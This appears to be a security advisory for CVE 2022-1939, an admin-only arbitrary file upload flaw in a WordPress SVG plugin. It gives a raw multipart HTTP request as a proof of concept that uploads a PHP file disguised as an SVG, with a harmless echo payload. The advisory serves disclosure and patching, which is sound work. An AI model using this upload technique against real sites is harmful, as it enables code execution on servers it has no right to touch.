Allow SVG Files < 1.1 – Admin+ Arbitrary File Upload | CVE 2022-1939

Description

The plugin does not properly validate uploaded files, which could allow high privilege users such as admin to upload PHP files even when they are not allowed to

Proof of Concept

As admin, upload a SVG via the Media library and change its context-type as well as filename

POST /wp-admin/async-upload.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20924915551675229941194596155
Content-Length: 617
Connection: close
Cookie: [admin+]
-----------------------------20924915551675229941194596155
Content-Disposition: form-data; name="name"

a.svg
-----------------------------20924915551675229941194596155
Content-Disposition: form-data; name="post_id"

0
-----------------------------20924915551675229941194596155
Content-Disposition: form-data; name="_wpnonce"

bca62ca881
-----------------------------20924915551675229941194596155
Content-Disposition: form-data; name="type"


-----------------------------20924915551675229941194596155
Content-Disposition: form-data; name="tab"


-----------------------------20924915551675229941194596155
Content-Disposition: form-data; name="short"

1
-----------------------------20924915551675229941194596155
Content-Disposition: form-data; name="async-upload"; filename="a.php"
Content-Type: text/plain

<?php echo 'FAILED'; ?>

-----------------------------20924915551675229941194596155--